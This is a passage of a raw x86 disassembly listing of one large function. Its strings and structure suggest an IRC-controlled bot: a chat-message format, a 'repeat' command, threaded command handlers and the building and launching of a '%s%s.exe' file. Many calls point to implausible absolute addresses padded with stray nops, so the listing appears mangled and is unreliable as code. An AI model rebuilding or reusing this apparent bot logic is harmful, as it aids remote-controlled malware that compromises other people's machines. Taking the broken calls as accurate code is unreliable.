		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEEC[eax]
		call	sub_409A72
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43DCE0[eax], 73h
		jnz	loc_409854
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43DEF8
		push	eax
		push	edi
		push	offset aSSS_1	; "[%s]	<%s> %s"

loc_407A35:				; CODE XREF: sub_401ACD+5E8Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 28h
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_407A62:				; CODE XREF: sub_401ACD+4ED1j
					; sub_401ACD+4EE8j
		push	[ebp+arg_10]
		call	dword_4CAFE4
		push	edi
		mov	[ebp+var_680], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_690], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax
		call	sub_41B5F0
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A408
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset dword_40C668
		push	ebx
		push	ebx
		call	near ptr 26705F4h
		nop
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_407B44

loc_407B2E:				; CODE XREF: sub_401ACD+6075j
		cmp	[ebp+var_670], ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_407B2E
; ---------------------------------------------------------------------------

loc_407B44:				; CODE XREF: sub_401ACD+605Fj
		call	near ptr 2670D55h
		nop
		push	eax
		push	offset unk_42A4FC
		jmp	loc_403D91
; ---------------------------------------------------------------------------

loc_407B55:				; CODE XREF: sub_401ACD+4EA3j
					; sub_401ACD+4EBAj
		push	[ebp+arg_10]
		call	sub_41B779
		mov	[ebp+var_112C],	eax
		push	7Fh
		lea	eax, [ebp+var_1230]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_1130],	eax
		lea	eax, [ebp+var_11B0]
		push	[ebp+var_88]
		mov	[ebp+var_1238],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_111C],	eax
		push	[ebp+var_1130]
		lea	eax, [ebp+var_1230]
		mov	[ebp+var_1120],	edi
		push	eax
		push	[ebp+var_112C]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A3CC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	18h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_1128],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1238]
		push	ebx
		push	eax
		push	offset loc_4103AA
		push	ebx
		push	ebx
		call	near ptr 26705F4h
		nop
		mov	ecx, [ebp+var_1128]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_407C41

loc_407C2B:				; CODE XREF: sub_401ACD+6172j
		cmp	[ebp+var_1118],	ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_407C2B
; ---------------------------------------------------------------------------

loc_407C41:				; CODE XREF: sub_401ACD+615Cj
		nop
		call	near ptr 2670D55h
		push	eax
		push	offset unk_42A388
		jmp	loc_403D91
; ---------------------------------------------------------------------------

loc_407C52:				; CODE XREF: sub_401ACD+4E75j
					; sub_401ACD+4E8Cj
		push	0FFh
		lea	eax, [ebp+var_2878]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	0FFh
		lea	eax, [ebp+var_2778]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		mov	[ebp+var_2674],	ebx
		call	sub_41B779
		mov	[ebp+var_2670],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407CAB
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_2668],	eax
		jmp	short loc_407CB1
; ---------------------------------------------------------------------------

loc_407CAB:				; CODE XREF: sub_401ACD+61C8j
		mov	[ebp+var_2668],	ebx

loc_407CB1:				; CODE XREF: sub_401ACD+61DCj
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407CC8
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_266C],	eax
		jmp	short loc_407CCE
; ---------------------------------------------------------------------------

loc_407CC8:				; CODE XREF: sub_401ACD+61EAj
		mov	[ebp+var_266C],	ebx

loc_407CCE:				; CODE XREF: sub_401ACD+61F9j
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2664],	eax
		lea	eax, [ebp+var_28F8]
		mov	[ebp+var_28FC],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_265C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_2660],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A35C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Dh
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2678],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_28FC]
		push	ebx
		push	eax
		push	offset loc_4163F9
		push	ebx
		push	ebx
		call	near ptr 26705F4h
		nop
		mov	ecx, [ebp+var_2678]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_407D7F

loc_407D69:				; CODE XREF: sub_401ACD+62B0j
		cmp	[ebp+var_2658],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_407D69
; ---------------------------------------------------------------------------

loc_407D7F:				; CODE XREF: sub_401ACD+629Aj
		nop
		call	near ptr 2670D55h
		push	eax
		push	offset unk_42A31C
		jmp	loc_407269
; ---------------------------------------------------------------------------

loc_407D90:				; CODE XREF: sub_401ACD+4E47j
					; sub_401ACD+4E5Ej
		push	7Fh
		lea	eax, [ebp+var_3490]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3410]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3390]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3310]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_328C],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3288],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3494],	esi
		push	[ebp+arg_10]
		push	offset unk_42A2E0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	12h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3290],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3494]
		push	ebx
		push	eax
		push	offset byte_414A91
		push	ebx
		push	ebx
		nop
		call	near ptr 26705F4h
		mov	ecx, [ebp+var_3290]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_407E67

loc_407E51:				; CODE XREF: sub_401ACD+6398j
		cmp	[ebp+var_3284],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_407E51
; ---------------------------------------------------------------------------

loc_407E67:				; CODE XREF: sub_401ACD+6382j
		nop
		call	near ptr 2670D55h
		push	eax
		push	offset unk_42A2A8
		jmp	loc_407269
; ---------------------------------------------------------------------------

loc_407E78:				; CODE XREF: sub_401ACD+4D1Aj
					; sub_401ACD+4D31j
		push	7Fh
		lea	eax, [ebp+var_3068]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2FE8]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2F68]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2EE8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2E64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2E60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_306C],	esi
		push	[ebp+arg_10]
		push	offset unk_42A278
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Eh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_2E68],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_306C]
		push	ebx
		push	eax
		push	offset dword_4137CC
		push	ebx
		push	ebx
		call	near ptr 26705F4h
		nop
		mov	ecx, [ebp+var_2E68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_407F4F

loc_407F39:				; CODE XREF: sub_401ACD+6480j
		cmp	[ebp+var_2E5C],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_407F39
; ---------------------------------------------------------------------------

loc_407F4F:				; CODE XREF: sub_401ACD+646Aj
		nop
		call	near ptr 2670D55h
		push	eax
		push	offset unk_42A240
		jmp	loc_407269
; ---------------------------------------------------------------------------

loc_407F60:				; CODE XREF: sub_401ACD+4BF1j
					; sub_401ACD+4C08j ...
		push	7Fh
		lea	eax, [ebp+var_3CE4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3C64]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3BE4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3B64]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		push	20h
		lea	eax, [ebp+var_3AE4]
		push	[ebp+arg_8]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3A64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3A60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3CEC],	esi
		push	[ebp+arg_10]
		push	offset unk_42A210
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Dh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3CE8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3CEC]
		push	ebx
		push	eax
		push	offset byte_412A53
		push	ebx
		push	ebx
		call	near ptr 26705F4h
		nop
		mov	ecx, [ebp+var_3CE8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_408048

loc_408032:				; CODE XREF: sub_401ACD+6579j
		cmp	[ebp+var_3A5C],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_408032
; ---------------------------------------------------------------------------

loc_408048:				; CODE XREF: sub_401ACD+6563j
		nop
		call	near ptr 2670D55h
		push	eax
		push	offset unk_42A1D8
		jmp	loc_407269
; ---------------------------------------------------------------------------

loc_408059:				; CODE XREF: sub_401ACD+4BC3j
					; sub_401ACD+4BDAj
		push	7Fh
		lea	eax, [ebp+var_1778]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	3Fh
		mov	[ebp+var_1628],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_16F8]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_4080A4
		push	3Fh
		lea	eax, [ebp+var_16B8]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_4080A4:				; CODE XREF: sub_401ACD+65C3j
		lea	eax, [ebp+var_16F8]
		mov	[ebp+var_1624],	1
		push	eax
		lea	eax, [ebp+var_1778]
		push	[ebp+var_1628]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A1A8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Fh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1620],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_177C]
		push	ebx
		push	eax
		push	offset sub_4017ED
		push	ebx
		push	ebx
		nop
		call	near ptr 26705F4h
		mov	ecx, [ebp+var_1620]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_408130

loc_40811A:				; CODE XREF: sub_401ACD+6661j
		cmp	[ebp+var_161C],	ebx
		jnz	loc_406CDE
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_40811A
; ---------------------------------------------------------------------------

loc_408130:				; CODE XREF: sub_401ACD+664Bj
		nop
		call	near ptr 2670D55h
		push	eax
		push	offset dword_42A16C
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_408141:				; CODE XREF: sub_401ACD+4B83j
					; sub_401ACD+4B9Aj
		push	edi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1D64],	eax
		jle	loc_408234
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1EEC]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1D60],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1EF0],	eax
		lea	eax, [ebp+var_1DEC]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1D5C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_1D58],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A140
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	15h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1D6C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1EF0]
		push	ebx
		push	eax
		push	offset byte_412E9D
		push	ebx
		push	ebx
		nop
		call	near ptr 26705F4h
		mov	ecx, [ebp+var_1D6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_408223

loc_408211:				; CODE XREF: sub_401ACD+6754j
		cmp	[ebp+var_1D54],	ebx
		jnz	short loc_40828B
		push	32h
		call	near ptr 2670535h
		nop
		jmp	short loc_408211
; ---------------------------------------------------------------------------

loc_408223:				; CODE XREF: sub_401ACD+6742j
		nop
		call	near ptr 2670D55h
		push	eax
		push	offset unk_42A108
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_408234:				; CODE XREF: sub_401ACD+6683j
		push	offset unk_42A0D0
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_40823E:				; CODE XREF: sub_401ACD+4B55j
					; sub_401ACD+4B6Cj
		push	edi
		push	[ebp+arg_10]
		nop
		call	near ptr 2690D89h
		test	eax, eax
		jz	short loc_40826B
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset unk_42A0AC
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40828B
; ---------------------------------------------------------------------------

loc_40826B:				; CODE XREF: sub_401ACD+677Dj
		push	offset dword_42A0A0
		call	sub_41814C
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980

loc_408288:				; CODE XREF: sub_401ACD+2F2Aj
					; sub_401ACD+556Fj
		add	esp, 0Ch

loc_40828B:				; CODE XREF: sub_401ACD+2136j
					; sub_401ACD+2ECCj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]

loc_4082A8:				; CODE XREF: sub_401ACD+57C6j
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4083BC
; ---------------------------------------------------------------------------

loc_4082B5:				; CODE XREF: sub_401ACD+4B27j
					; sub_401ACD+4B3Ej
		push	[ebp+arg_10]
		lea	eax, [ebp+var_3F04]
		push	104h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_4082EF
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4082EF
		push	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_4082EF:				; CODE XREF: sub_401ACD+6802j
					; sub_401ACD+6811j
		push	[ebp+var_88]
		lea	eax, [ebp+var_3F84]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_3F88],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3CF8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3CF4],	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		lea	eax, [ebp+var_3F04]
		push	eax
		push	offset unk_42A070
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	24h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3CFC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F88]
		push	ebx
		push	eax
		push	offset byte_416CAD
		push	ebx
		push	ebx
		call	near ptr 26705F4h
		nop
		mov	ecx, [ebp+var_3CFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_4083A1

loc_40838F:				; CODE XREF: sub_401ACD+68D2j
		cmp	[ebp+var_3CF0],	ebx
		jnz	short loc_4083BC
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_40838F
; ---------------------------------------------------------------------------

loc_4083A1:				; CODE XREF: sub_401ACD+68C0j
		nop
		call	near ptr 2670D55h
		push	eax
		push	offset unk_42A034

loc_4083AD:				; CODE XREF: sub_401ACD+925j
					; sub_401ACD+A63j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_4083BC:				; CODE XREF: sub_401ACD+7E1j
					; sub_401ACD+94Cj ...
		push	1
		pop	esi
		jmp	loc_406D02
; ---------------------------------------------------------------------------

loc_4083C4:				; CODE XREF: sub_401ACD+4AF9j
					; sub_401ACD+4B10j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		push	1
		mov	[ebp+var_668], esi
		pop	esi
		mov	[ebp+var_638], bx
		push	[ebp+arg_10]
		mov	[ebp+var_63C], esi
		call	sub_41B779
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_408403
		mov	[ebp+var_638], 5

loc_408403:				; CODE XREF: sub_401ACD+692Bj
		cmp	[ebp+var_C], ebx
		jz	loc_406CDE
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406CDE
		lea	eax, [ebp+var_E10]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		nop
		call	near ptr 2650C30h
		test	eax, eax
		jnz	short loc_40844C
		push	offset unk_42A010
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_40844C:				; CODE XREF: sub_401ACD+6973j
		push	edi
		push	offset dword_429FF4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_408457:				; CODE XREF: sub_401ACD+4ACBj
					; sub_401ACD+4AE2j
		push	edi
		push	offset aDark	; "Dark"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085D0
		lea	eax, [ebp+var_48F0]
		push	eax
		push	104h
		nop
		call	near ptr 26901D0h
		push	0FFh
		lea	eax, [ebp+var_25D0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_17D0]
		push	eax
		call	sub_40AD80
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_48F0]
		push	eax
		lea	eax, [ebp+var_24D0]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+esi+var_84]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_23CC],	1
		mov	[ebp+var_23C8],	ebx
		jz	short loc_4084EC
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_23C0],	eax
		jmp	short loc_4084F2
; ---------------------------------------------------------------------------

loc_4084EC:				; CODE XREF: sub_401ACD+6A09j
		mov	[ebp+var_23C0],	ebx

loc_4084F2:				; CODE XREF: sub_401ACD+6A1Dj
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_408509
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_23C4],	eax
		jmp	short loc_40850F
; ---------------------------------------------------------------------------

loc_408509:				; CODE XREF: sub_401ACD+6A2Bj
		mov	[ebp+var_23C4],	ebx

loc_40850F:				; CODE XREF: sub_401ACD+6A3Aj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_23BC],	eax
		lea	eax, [ebp+var_2650]
		mov	[ebp+var_2654],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_23B4],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_23B8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_429FBC
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Eh
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_23D0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2654]
		push	ebx
		push	eax
		push	offset loc_4163F9
		push	ebx
		push	ebx
		nop
		call	near ptr 26705F4h
		mov	ecx, [ebp+var_23D0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_4085BF

loc_4085A9:				; CODE XREF: sub_401ACD+6AF0j
		cmp	[ebp+var_23B0],	ebx
		jnz	loc_406CDE
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_4085A9
; ---------------------------------------------------------------------------

loc_4085BF:				; CODE XREF: sub_401ACD+6ADAj
		nop
		call	near ptr 2670D55h
		push	eax
		push	offset dword_429F80
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_4085D0:				; CODE XREF: sub_401ACD+6999j
		push	offset dword_429F38

loc_4085D5:				; CODE XREF: sub_401ACD+2E73j
					; sub_401ACD+457Cj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_406CDE
; ---------------------------------------------------------------------------

loc_4085E8:				; CODE XREF: sub_401ACD+4A9Dj
					; sub_401ACD+4AB4j
		push	[ebp+var_8C]
		push	offset dword_42C968
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_429F28
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 28h
		test	eax, eax
		jle	short loc_408673
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	near ptr 2670535h
		nop

loc_408673:				; CODE XREF: sub_401ACD+6B8Ej
		push	offset dword_429F14
		call	sub_4151AC
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_408687:				; CODE XREF: sub_401ACD+4A6Fj
					; sub_401ACD+4A86j
		push	[ebp+var_8C]
		push	offset dword_42C968
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		inc	edi
		push	offset aRepeat	; "repeat"
		push	edi
		mov	esi, eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_408745
		push	[ebp+var_88]
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_429F28
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_429EFC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		test	eax, eax
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_408745:				; CODE XREF: sub_401ACD+6BFAj
		push	offset unk_429EC8

loc_40874A:				; CODE XREF: sub_401ACD+7542j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_408759:				; CODE XREF: sub_401ACD+74CAj
					; sub_401ACD+7623j
		cmp	[ebp+var_8], ebx
		jnz	short loc_40877A
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_40877A:				; CODE XREF: sub_401ACD+6C8Fj
					; sub_401ACD+72C7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		jmp	loc_409853
; ---------------------------------------------------------------------------

loc_40878B:				; CODE XREF: sub_401ACD+4A41j
					; sub_401ACD+4A58j
		push	7Fh
		lea	eax, [ebp+var_2214]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2194]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2114]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2090],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_208C],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_2218],	esi
		push	offset unk_429E94
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Fh
		push	eax
		call	sub_40B0F6
